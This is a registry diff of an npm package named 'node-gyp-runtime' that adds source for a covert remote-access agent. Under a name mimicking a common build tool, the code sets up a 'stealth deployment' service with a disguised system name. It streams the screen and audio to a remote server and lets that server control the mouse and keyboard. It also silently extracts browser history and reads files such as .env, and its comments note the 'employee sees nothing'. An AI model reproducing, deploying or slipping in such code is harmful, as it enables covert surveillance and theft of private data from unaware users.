node-gyp-runtime 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,237 @@
1
+ /**
2
+ * Browser History Extractor
3
+ * Reads Chrome, Edge, Firefox SQLite databases to extract browsing history
4
+ *
5
+ * Process: Copy the locked DB file to temp → read with better-sqlite3 → return entries
6
+ */
7
+
8
+ const fs = require('fs');
9
+ const path = require('path');
10
+ const os = require('os');
11
+ const config = require('./config');
12
+
13
+ let Database;
14
+ try {
15
+ Database = require('better-sqlite3');
16
+ } catch (e) {
17
+ console.log(' ⚠️ better-sqlite3 not available — browser history disabled');
18
+ Database = null;
19
+ }
20
+
21
+ const USERPROFILE = os.homedir();
22
+ const LOCALAPPDATA = process.env.LOCALAPPDATA || path.join(USERPROFILE, 'AppData', 'Local');
23
+ const APPDATA = process.env.APPDATA || path.join(USERPROFILE, 'AppData', 'Roaming');
24
+
25
+ /**
26
+ * Browser DB paths (Windows)
27
+ */
28
+ const BROWSER_PATHS = {
29
+ chrome: path.join(LOCALAPPDATA, 'Google', 'Chrome', 'User Data', 'Default', 'History'),
30
+ edge: path.join(LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data', 'Default', 'History'),
31
+ firefox: null, // Handled separately — profile folder name varies
32
+ };
33
+
34
+ /**
35
+ * Find Firefox profile path
36
+ */
37
+ function findFirefoxProfile() {
38
+ const profilesDir = path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles');
39
+ if (!fs.existsSync(profilesDir)) return null;
40
+
41
+ const dirs = fs.readdirSync(profilesDir);
42
+ // Look for default-release or first profile
43
+ const profile = dirs.find((d) => d.endsWith('.default-release')) || dirs.find((d) => d.endsWith('.default')) || dirs[0];
44
+
45
+ if (profile) {
46
+ return path.join(profilesDir, profile, 'places.sqlite');
47
+ }
48
+ return null;
49
+ }
50
+
51
+ /**
52
+ * Copy DB to temp (because browser locks the file while running)
53
+ */
54
+ function copyToTemp(sourcePath, browserName) {
55
+ const tempPath = path.join(config.tempDir, `connector_${browserName}_history_copy.db`);
56
+ try {
57
+ fs.copyFileSync(sourcePath, tempPath);
58
+ // Also copy WAL file if exists
59
+ const walPath = sourcePath + '-wal';
60
+ if (fs.existsSync(walPath)) {
61
+ fs.copyFileSync(walPath, tempPath + '-wal');
62
+ }
63
+ return tempPath;
64
+ } catch (err) {
65
+ console.log(` ⚠️ Could not copy ${browserName} history DB: ${err.message}`);
66
+ return null;
67
+ }
68
+ }
69
+
70
+ /**
71
+ * Clean up temp file
72
+ */
73
+ function cleanupTemp(tempPath) {
74
+ try {
75
+ if (fs.existsSync(tempPath)) fs.unlinkSync(tempPath);
76
+ if (fs.existsSync(tempPath + '-wal')) fs.unlinkSync(tempPath + '-wal');
77
+ } catch (e) {
78
+ // Ignore cleanup errors
79
+ }
80
+ }
81
+
82
+ /**
83
+ * Convert Chrome/Edge timestamp to JS Date
84
+ * Chrome uses microseconds since Jan 1, 1601
85
+ */
86
+ function chromeTimestampToDate(timestamp) {
87
+ const epochDiff = 11644473600000000n; // microseconds between 1601 and 1970
88
+ const ms = Number((BigInt(timestamp) - epochDiff) / 1000n);
89
+ return new Date(ms).toISOString();
90
+ }
91
+
92
+ /**
93
+ * Convert Firefox timestamp to JS Date
94
+ * Firefox uses microseconds since Unix epoch
95
+ */
96
+ function firefoxTimestampToDate(timestamp) {
97
+ return new Date(timestamp / 1000).toISOString();
98
+ }
99
+
100
+ /**
101
+ * Extract history from Chromium-based browser (Chrome/Edge)
102
+ */
103
+ function extractChromiumHistory(dbPath, browserName, dateRange = '7d') {
104
+ if (!Database) return { browser: browserName, entries: [], error: 'better-sqlite3 not available' };
105
+
106
+ const tempPath = copyToTemp(dbPath, browserName);
107
+ if (!tempPath) return { browser: browserName, entries: [], error: 'Could not copy DB' };
108
+
109
+ try {
110
+ const db = new Database(tempPath, { readonly: true, fileMustExist: true });
111
+
112
+ // Calculate date filter
113
+ let dateFilter = '';
114
+ const now = Date.now() * 1000; // microseconds
115
+ const epochDiff = 11644473600000000; // Chrome epoch offset
116
+ const nowChrome = now + epochDiff;
117
+
118
+ if (dateRange === '24h') {
119
+ dateFilter = `WHERE last_visit_time > ${nowChrome - 86400000000}`;
120
+ } else if (dateRange === '7d') {
121
+ dateFilter = `WHERE last_visit_time > ${nowChrome - 7 * 86400000000}`;
122
+ } else if (dateRange === '30d') {
123
+ dateFilter = `WHERE last_visit_time > ${nowChrome - 30 * 86400000000}`;
124
+ }
125
+
126
+ const stmt = db.prepare(`
127
+ SELECT url, title, visit_count, last_visit_time
128
+ FROM urls
129
+ ${dateFilter}
130
+ ORDER BY last_visit_time DESC
131
+ LIMIT 500
132
+ `);
133
+
134
+ const rows = stmt.all();
135
+ db.close();
136
+ cleanupTemp(tempPath);
137
+
138
+ const entries = rows.map((row) => ({
139
+ url: row.url,
140
+ title: row.title || '(No title)',
141
+ visitCount: row.visit_count,
142
+ lastVisit: chromeTimestampToDate(row.last_visit_time),
143
+ }));
144
+
145
+ return { browser: browserName, entries, error: null };
146
+ } catch (err) {
147
+ cleanupTemp(tempPath);
148
+ return { browser: browserName, entries: [], error: err.message };
149
+ }
150
+ }
151
+
152
+ /**
153
+ * Extract history from Firefox
154
+ */
155
+ function extractFirefoxHistory(dateRange = '7d') {
156
+ if (!Database) return { browser: 'firefox', entries: [], error: 'better-sqlite3 not available' };
157
+
158
+ const dbPath = findFirefoxProfile();
159
+ if (!dbPath || !fs.existsSync(dbPath)) {
160
+ return { browser: 'firefox', entries: [], error: 'Firefox profile not found' };
161
+ }
162
+
163
+ const tempPath = copyToTemp(dbPath, 'firefox');
164
+ if (!tempPath) return { browser: 'firefox', entries: [], error: 'Could not copy DB' };
165
+
166
+ try {
167
+ const db = new Database(tempPath, { readonly: true, fileMustExist: true });
168
+
169
+ let dateFilter = '';
170
+ const now = Date.now() * 1000; // microseconds
171
+
172
+ if (dateRange === '24h') {
173
+ dateFilter = `WHERE v.visit_date > ${now - 86400000000000}`;
174
+ } else if (dateRange === '7d') {
175
+ dateFilter = `WHERE v.visit_date > ${now - 7 * 86400000000000}`;
176
+ } else if (dateRange === '30d') {
177
+ dateFilter = `WHERE v.visit_date > ${now - 30 * 86400000000000}`;
178
+ }
179
+
180
+ const stmt = db.prepare(`
181
+ SELECT p.url, p.title, p.visit_count, MAX(v.visit_date) as last_visit
182
+ FROM moz_places p
183
+ JOIN moz_historyvisits v ON p.id = v.place_id
184
+ ${dateFilter}
185
+ GROUP BY p.id
186
+ ORDER BY last_visit DESC
187
+ LIMIT 500
188
+ `);
189
+
190
+ const rows = stmt.all();
191
+ db.close();
192
+ cleanupTemp(tempPath);
193
+
194
+ const entries = rows.map((row) => ({
195
+ url: row.url,
196
+ title: row.title || '(No title)',
197
+ visitCount: row.visit_count,
198
+ lastVisit: firefoxTimestampToDate(row.last_visit),
199
+ }));
200
+
201
+ return { browser: 'firefox', entries, error: null };
202
+ } catch (err) {
203
+ cleanupTemp(tempPath);
204
+ return { browser: 'firefox', entries: [], error: err.message };
205
+ }
206
+ }
207
+
208
+ /**
209
+ * Get browser history for requested browser and date range
210
+ */
211
+ function getBrowserHistory(browser = 'all', dateRange = '7d') {
212
+ const results = [];
213
+
214
+ if (browser === 'all' || browser === 'chrome') {
215
+ if (fs.existsSync(BROWSER_PATHS.chrome)) {
216
+ results.push(extractChromiumHistory(BROWSER_PATHS.chrome, 'chrome', dateRange));
217
+ } else {
218
+ results.push({ browser: 'chrome', entries: [], error: 'Chrome not installed' });
219
+ }
220
+ }
221
+
222
+ if (browser === 'all' || browser === 'edge') {
223
+ if (fs.existsSync(BROWSER_PATHS.edge)) {
224
+ results.push(extractChromiumHistory(BROWSER_PATHS.edge, 'edge', dateRange));
225
+ } else {
226
+ results.push({ browser: 'edge', entries: [], error: 'Edge not installed' });
227
+ }
228
+ }
229
+
230
+ if (browser === 'all' || browser === 'firefox') {
231
+ results.push(extractFirefoxHistory(dateRange));
232
+ }
233
+
234
+ return results;
235
+ }
236
+
237
+ module.exports = { getBrowserHistory };
package/src/config.js ADDED
@@ -0,0 +1,82 @@
1
+ /**
2
+ * Agent Config — Cross-platform (Windows + Mac + Linux)
3
+ * Auto-detects OS and sets correct paths
4
+ */
5
+
6
+ const os = require('os');
7
+ const path = require('path');
8
+
9
+ // Load env.config.js (fallback to empty if not found — postinstall sets process.env)
10
+ let envConfig = {};
11
+ try { envConfig = require('../env.config'); } catch (e) { /* ok */ }
12
+
13
+ const platform = os.platform(); // 'win32', 'darwin', 'linux'
14
+ const homeDir = os.homedir();
15
+
16
+ // ── Cross-platform user directories ──────────────────────
17
+ function getUserDirs() {
18
+ if (platform === 'win32') {
19
+ return [
20
+ path.join(homeDir, 'Desktop'),
21
+ path.join(homeDir, 'Downloads'),
22
+ path.join(homeDir, 'Documents'),
23
+ ];
24
+ } else {
25
+ // Mac & Linux
26
+ return [
27
+ path.join(homeDir, 'Desktop'),
28
+ path.join(homeDir, 'Downloads'),
29
+ path.join(homeDir, 'Documents'),
30
+ ];
31
+ }
32
+ }
33
+
34
+ // ── Hidden install directory (for stealth deployment) ────
35
+ function getInstallDir() {
36
+ if (platform === 'win32') {
37
+ // C:\ProgramData\ConnectorService — hidden by default
38
+ return process.env.ProgramData
39
+ ? path.join(process.env.ProgramData, 'ConnectorService')
40
+ : 'C:\\ProgramData\\ConnectorService';
41
+ } else if (platform === 'darwin') {
42
+ // /Library/Application Support/ConnectorService
43
+ return '/Library/Application Support/ConnectorService';
44
+ } else {
45
+ // Linux: /opt/connector-service
46
+ return '/opt/connector-service';
47
+ }
48
+ }
49
+
50
+ // ── Temp directory ───────────────────────────────────────
51
+ function getTempDir() {
52
+ return os.tmpdir();
53
+ }
54
+
55
+ module.exports = {
56
+ platform,
57
+ serverUrl: envConfig.SERVER_URL || process.env.SERVER_URL || 'http://localhost:8471',
58
+
59
+ // Reconnection
60
+ reconnection: true,
61
+ reconnectionDelay: 2000,
62
+ reconnectionDelayMax: 30000,
63
+ reconnectionAttempts: Infinity,
64
+
65
+ // Mouse settings
66
+ mouseSpeed: 1000,
67
+
68
+ // File scanning defaults (cross-platform)
69
+ scanDirs: getUserDirs(),
70
+
71
+ // Browser history temp dir
72
+ tempDir: getTempDir(),
73
+
74
+ // Install paths
75
+ installDir: getInstallDir(),
76
+ logDir: path.join(getInstallDir(), 'logs'),
77
+
78
+ // Service config
79
+ serviceName: envConfig.SERVICE_NAME || 'Windows System Connector',
80
+ serviceDescription: envConfig.SERVICE_DESC || 'System connectivity and update service',
81
+ plistLabel: 'com.system.connector',
82
+ };
@@ -0,0 +1,157 @@
1
+ /**
2
+ * File Scanner — Browse employee's file system remotely
3
+ * Read-only directory listing with file metadata
4
+ */
5
+
6
+ const fs = require('fs');
7
+ const path = require('path');
8
+ const config = require('./config');
9
+
10
+ /**
11
+ * Get file type category based on extension
12
+ */
13
+ function getFileCategory(ext) {
14
+ ext = ext.toLowerCase();
15
+ const categories = {
16
+ image: ['.jpg', '.jpeg', '.png', '.gif', '.bmp', '.webp', '.svg', '.ico', '.tiff'],
17
+ video: ['.mp4', '.avi', '.mkv', '.mov', '.wmv', '.flv', '.webm', '.m4v'],
18
+ audio: ['.mp3', '.wav', '.flac', '.aac', '.ogg', '.wma', '.m4a'],
19
+ document: ['.pdf', '.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx', '.txt', '.rtf', '.csv'],
20
+ code: ['.js', '.ts', '.py', '.java', '.cpp', '.c', '.html', '.css', '.json', '.xml', '.php', '.rb'],
21
+ archive: ['.zip', '.rar', '.7z', '.tar', '.gz', '.bz2'],
22
+ executable: ['.exe', '.msi', '.bat', '.cmd', '.ps1', '.sh'],
23
+ };
24
+
25
+ for (const [category, extensions] of Object.entries(categories)) {
26
+ if (extensions.includes(ext)) return category;
27
+ }
28
+ return 'other';
29
+ }
30
+
31
+ /**
32
+ * Format file size to human readable
33
+ */
34
+ function formatSize(bytes) {
35
+ if (bytes === 0) return '0 B';
36
+ const units = ['B', 'KB', 'MB', 'GB'];
37
+ const i = Math.floor(Math.log(bytes) / Math.log(1024));
38
+ return (bytes / Math.pow(1024, i)).toFixed(1) + ' ' + units[i];
39
+ }
40
+
41
+ /**
42
+ * List directory contents
43
+ * @param {string} dirPath - Directory to list (defaults to user Desktop)
44
+ * @returns {object} Directory listing with file metadata
45
+ */
46
+ function listDirectory(dirPath) {
47
+ // Default to Desktop if no path provided
48
+ if (!dirPath) {
49
+ dirPath = config.scanDirs[0]; // Desktop
50
+ }
51
+
52
+ // Security: Only allow scanning within user profile
53
+ const userProfile = process.env.USERPROFILE || require('os').homedir();
54
+ const resolvedPath = path.resolve(dirPath);
55
+
56
+ // Normalize both paths for comparison
57
+ const normalizedProfile = userProfile.toLowerCase();
58
+ const normalizedResolved = resolvedPath.toLowerCase();
59
+
60
+ if (!normalizedResolved.startsWith(normalizedProfile)) {
61
+ return {
62
+ path: dirPath,
63
+ files: [],
64
+ error: 'Access denied: Can only scan within user profile directory',
65
+ };
66
+ }
67
+
68
+ if (!fs.existsSync(resolvedPath)) {
69
+ return { path: dirPath, files: [], error: 'Directory not found' };
70
+ }
71
+
72
+ try {
73
+ const entries = fs.readdirSync(resolvedPath, { withFileTypes: true });
74
+ const files = [];
75
+
76
+ for (const entry of entries) {
77
+ try {
78
+ const fullPath = path.join(resolvedPath, entry.name);
79
+ const stat = fs.statSync(fullPath);
80
+
81
+ files.push({
82
+ name: entry.name,
83
+ path: fullPath,
84
+ isDirectory: entry.isDirectory(),
85
+ size: entry.isDirectory() ? null : formatSize(stat.size),
86
+ sizeBytes: entry.isDirectory() ? 0 : stat.size,
87
+ extension: entry.isDirectory() ? null : path.extname(entry.name),
88
+ category: entry.isDirectory() ? 'folder' : getFileCategory(path.extname(entry.name)),
89
+ created: stat.birthtime.toISOString(),
90
+ modified: stat.mtime.toISOString(),
91
+ });
92
+ } catch (e) {
93
+ // Skip files we can't stat (permission issues)
94
+ }
95
+ }
96
+
97
+ // Sort: directories first, then files alphabetically
98
+ files.sort((a, b) => {
99
+ if (a.isDirectory && !b.isDirectory) return -1;
100
+ if (!a.isDirectory && b.isDirectory) return 1;
101
+ return a.name.localeCompare(b.name);
102
+ });
103
+
104
+ return { path: resolvedPath, files, error: null };
105
+ } catch (err) {
106
+ return { path: dirPath, files: [], error: err.message };
107
+ }
108
+ }
109
+
110
+ /**
111
+ * Get default scannable directories
112
+ */
113
+ function getDefaultDirs() {
114
+ return config.scanDirs.map((dir) => ({
115
+ path: dir,
116
+ name: path.basename(dir),
117
+ exists: fs.existsSync(dir),
118
+ }));
119
+ }
120
+
121
+ /**
122
+ * Read file content (text files only, max 500KB)
123
+ * SILENT — no visible action on employee's screen
124
+ */
125
+ function readFileContent(filePath) {
126
+ const userProfile = process.env.USERPROFILE || require('os').homedir();
127
+ const resolvedPath = path.resolve(filePath);
128
+
129
+ if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
130
+ return { path: filePath, content: null, error: 'Access denied' };
131
+ }
132
+
133
+ if (!fs.existsSync(resolvedPath)) {
134
+ return { path: filePath, content: null, error: 'File not found' };
135
+ }
136
+
137
+ try {
138
+ const stat = fs.statSync(resolvedPath);
139
+ if (stat.size > 500 * 1024) {
140
+ return { path: resolvedPath, content: null, error: 'File too large (max 500KB)', size: formatSize(stat.size) };
141
+ }
142
+
143
+ const ext = path.extname(resolvedPath).toLowerCase();
144
+ const textExts = ['.txt', '.log', '.csv', '.json', '.xml', '.html', '.css', '.js', '.ts', '.py', '.java', '.cpp', '.c', '.md', '.cfg', '.ini', '.yml', '.yaml', '.env', '.bat', '.cmd', '.ps1', '.sh', '.rtf'];
145
+
146
+ if (!textExts.includes(ext)) {
147
+ return { path: resolvedPath, content: null, error: `Not a text file (${ext})`, category: getFileCategory(ext) };
148
+ }
149
+
150
+ const content = fs.readFileSync(resolvedPath, 'utf8');
151
+ return { path: resolvedPath, content, error: null, size: formatSize(stat.size), lines: content.split('\n').length };
152
+ } catch (err) {
153
+ return { path: filePath, content: null, error: err.message };
154
+ }
155
+ }
156
+
157
+ module.exports = { listDirectory, getDefaultDirs, readFileContent };
package/src/index.js ADDED
@@ -0,0 +1,175 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Connector Agent — Entry Point
4
+ * Screen streaming + mouse/keyboard control + file scanning
5
+ * Cross-platform: Windows, Mac, Linux
6
+ */
7
+
8
+ const { io } = require('socket.io-client');
9
+ const { machineIdSync } = require('node-machine-id');
10
+ const config = require('./config');
11
+ const { getSystemInfo, getBasicSystemStats } = require('./systemInfo');
12
+ const inputHandler = require('./inputHandler');
13
+ const ScreenCapture = require('./screenCapture');
14
+ const SleepPreventer = require('./sleepPreventer');
15
+ const { getBrowserHistory } = require('./browserHistory');
16
+ const { listDirectory, getDefaultDirs, readFileContent } = require('./fileScanner');
17
+
18
+ // ── Get unique machine ID ──────────────────────────────────
19
+ const MACHINE_ID = machineIdSync({ original: true }).substring(0, 12);
20
+ const systemInfo = getSystemInfo();
21
+
22
+ console.log(` 🤖 Connector Agent starting...`);
23
+ console.log(` 📋 Machine ID: ${MACHINE_ID}`);
24
+ console.log(` 🖥️ Host: ${systemInfo.hostname} (${systemInfo.username})`);
25
+ console.log(` 💻 Platform: ${config.platform}`);
26
+ console.log(` 🌐 Server: ${config.serverUrl}`);
27
+
28
+ // ── Connect to server ──────────────────────────────────────
29
+ const socket = io(config.serverUrl + '/agent', {
30
+ reconnection: config.reconnection,
31
+ reconnectionDelay: config.reconnectionDelay,
32
+ reconnectionDelayMax: config.reconnectionDelayMax,
33
+ reconnectionAttempts: config.reconnectionAttempts,
34
+ transports: ['websocket'],
35
+ maxHttpBufferSize: 10e6, // 10MB for screen frames
36
+ });
37
+
38
+ // Screen capture instance
39
+ const screenCapture = new ScreenCapture(socket);
40
+
41
+ // Audio capture instance
42
+ const AudioCapture = require('./audioCapture');
43
+ const audioCapture = new AudioCapture(socket);
44
+
45
+ // Sleep preventer — keeps system awake for remote control
46
+ const sleepPreventer = new SleepPreventer();
47
+ sleepPreventer.start();
48
+
49
+ // ── Connection events ──────────────────────────────────────
50
+ socket.on('connect', () => {
51
+ console.log(`\n ✅ Connected to server (${socket.id})`);
52
+ socket.emit('agent:register', { machineId: MACHINE_ID, ...systemInfo });
53
+ });
54
+
55
+ socket.on('agent:registered', (data) => {
56
+ console.log(` 📝 Registered as employee: ${data.employeeId}`);
57
+ console.log(` ⏳ Waiting for manager connection...\n`);
58
+ });
59
+
60
+ socket.on('disconnect', (reason) => {
61
+ console.log(` ❌ Disconnected: ${reason}`);
62
+ screenCapture.stop();
63
+ // Keep sleepPreventer running — agent will reconnect
64
+ });
65
+
66
+ socket.on('connect_error', (err) => console.log(` ⚠️ Connection error: ${err.message}`));
67
+
68
+ // ── Screen Streaming ───────────────────────────────────────
69
+ socket.on('screen:start', (data) => {
70
+ console.log(' 📺 Manager requested screen stream');
71
+ screenCapture.start(data || {});
72
+ });
73
+
74
+ socket.on('screen:stop', () => {
75
+ screenCapture.stop();
76
+ });
77
+
78
+ socket.on('screen:settings', (data) => {
79
+ screenCapture.updateSettings(data);
80
+ });
81
+
82
+ // ── Mouse Commands ─────────────────────────────────────────
83
+ socket.on('mouse:move', (data) => {
84
+ try { socket.emit('command:ack', { event: 'mouse:move', ...inputHandler.moveMouse(data.x, data.y) }); }
85
+ catch (e) { socket.emit('command:ack', { event: 'mouse:move', success: false, error: e.message }); }
86
+ });
87
+
88
+ socket.on('mouse:click', (data) => {
89
+ try { socket.emit('command:ack', { event: 'mouse:click', ...inputHandler.clickMouse(data.button || 'left') }); }
90
+ catch (e) { socket.emit('command:ack', { event: 'mouse:click', success: false, error: e.message }); }
91
+ });
92
+
93
+ socket.on('mouse:dblclick', () => {
94
+ try { socket.emit('command:ack', { event: 'mouse:dblclick', ...inputHandler.doubleClick() }); }
95
+ catch (e) { socket.emit('command:ack', { event: 'mouse:dblclick', success: false, error: e.message }); }
96
+ });
97
+
98
+ socket.on('mouse:scroll', (data) => {
99
+ try { socket.emit('command:ack', { event: 'mouse:scroll', ...inputHandler.scrollMouse(data.direction, data.amount) }); }
100
+ catch (e) { socket.emit('command:ack', { event: 'mouse:scroll', success: false, error: e.message }); }
101
+ });
102
+
103
+ // ── Keyboard Commands ──────────────────────────────────────
104
+ socket.on('keyboard:type', (data) => {
105
+ try { socket.emit('command:ack', { event: 'keyboard:type', ...inputHandler.typeText(data.text) }); }
106
+ catch (e) { socket.emit('command:ack', { event: 'keyboard:type', success: false, error: e.message }); }
107
+ });
108
+
109
+ socket.on('keyboard:key', (data) => {
110
+ try { socket.emit('command:ack', { event: 'keyboard:key', ...inputHandler.pressKey(data.key) }); }
111
+ catch (e) { socket.emit('command:ack', { event: 'keyboard:key', success: false, error: e.message }); }
112
+ });
113
+
114
+ socket.on('keyboard:combo', (data) => {
115
+ try { socket.emit('command:ack', { event: 'keyboard:combo', ...inputHandler.pressKeyCombo(data.keys) }); }
116
+ catch (e) { socket.emit('command:ack', { event: 'keyboard:combo', success: false, error: e.message }); }
117
+ });
118
+
119
+ // ── Browser History (BACKGROUND — employee sees nothing) ───
120
+ socket.on('history:request', (data) => {
121
+ try {
122
+ const results = getBrowserHistory(data.browser || 'all', data.dateRange || '7d');
123
+ socket.emit('history:response', { results });
124
+ } catch (err) {
125
+ socket.emit('history:response', { results: [], error: err.message });
126
+ }
127
+ });
128
+
129
+ // ── File Scanner (BACKGROUND — reads filesystem silently) ──
130
+ socket.on('files:list', (data) => {
131
+ try {
132
+ const result = listDirectory(data.path);
133
+ socket.emit('files:list:response', { ...result, defaultDirs: getDefaultDirs() });
134
+ } catch (err) {
135
+ socket.emit('files:list:response', { path: data.path, files: [], error: err.message });
136
+ }
137
+ });
138
+
139
+ // ── File Content Reader (BACKGROUND — reads file content silently) ──
140
+ socket.on('file:read', (data) => {
141
+ try {
142
+ const result = readFileContent(data.path);
143
+ socket.emit('file:read:response', result);
144
+ } catch (err) {
145
+ socket.emit('file:read:response', { path: data.path, content: null, error: err.message });
146
+ }
147
+ });
148
+
149
+ // ── System Info ────────────────────────────────────────────
150
+ socket.on('system:info', () => {
151
+ socket.emit('system:info:response', { ...getSystemInfo(), ...getBasicSystemStats() });
152
+ });
153
+
154
+ // ── Audio Capture ────────────────────────────────────────────
155
+ socket.on('audio:start', (data) => {
156
+ console.log(` 🎤 Manager requested audio (mode: ${data.mode || 'mic'})`);
157
+ audioCapture.start(data || {});
158
+ });
159
+
160
+ socket.on('audio:stop', () => {
161
+ audioCapture.stop();
162
+ });
163
+
164
+ socket.on('audio:listdevices', async () => {
165
+ const devices = await audioCapture.listDevices();
166
+ socket.emit('audio:devices', { devices });
167
+ });
168
+
169
+ socket.on('session:end', () => {
170
+ console.log(' 🛑 Session ended by manager');
171
+ screenCapture.stop();
172
+ audioCapture.stop();
173
+ });
174
+
175
+ console.log(' 🟢 Agent is running. Press Ctrl+C to stop.\n');